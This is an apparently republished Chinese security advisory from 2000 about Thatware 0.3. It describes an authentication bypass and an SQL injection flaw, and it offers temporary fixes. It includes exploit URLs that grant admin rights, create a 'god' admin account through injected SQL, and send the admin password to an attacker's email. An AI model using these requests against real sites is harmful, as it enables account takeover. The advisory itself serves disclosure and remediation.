安全研究

安全漏洞
Thatware 0.3安全漏洞允许用户获取管理权限

发布日期:2000-09-06
更新日期:2000-09-06

受影响系统:

Thatware 0.3
不受影响系统:

Thatware 0.3 CVS版本
描述:

Thatware存在几个安全漏洞,允许攻击者获取对该程序的管理权限。Thatware是一个
开放源码的新闻组管理程序,它可以免费从http://www.atthat.com/下载。

1. 提交下列超级链接:

  http://www.example.com/admin.php3?user=anyone

admin.php3将会设置$auth_rights = FALSE然后转去判断:

  if (sizeof($auth_rights)>0) {
     $admintest=1;

这将给用户开放所有权限。这是由于$auth_rights是一个赋值变量,而不是一个
数组,因此sizeof($auth_rights)等于1.

临时解决办法:

在auth.inc.php3中检查发送请求前是否$admin[0]和$admin[2]为空:
if (empty($admin[0]) || empty($admin[2])){exit;}
然后使用:
  if (!empty($auth_rights))
替代:
  if (sizeof($auth_rights)>0)

The following exploit will elevate 'someuser' status to admin:

  http://www.example.com/admin.php3?user=anyone&op=AddAdmin
  &add_root=&add_uname=someuser


2. 在某些php中没有检查用户输入的变量,通过提交SQL语句,可以窃取管理员账号。
  例如,在user.php3中,存在下列更新语句:

  update users_info set name='$name', email='$email',
  femail='$femail', url='$url', bio='$bio' where uid=$uid

攻击者可以通过提交下列链接,增加一个'god'管理员的账号,并修改其信箱:

  http://www.example.com/user.php3?op=Save%20User&email=cracker@domain
  &uname=god&uid=blabla%20or%20uname%3Dchar(103,111,100)

然后只要发送

  htt://site/user.php?op=mailpasswd&uname=god
  
就可以修改管理员的密码并将其发送到攻击者设定的信箱。  

临时解决办法:

使用类似
"select * from users where uid='$uid'"的语句来替换有问题的语句。

<*来源:Fabian Clone (fabianclone@usa.net)*>



建议:

Thatware 0.3 CVS 版已经解决了这个问题。

浏览次数:5702
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障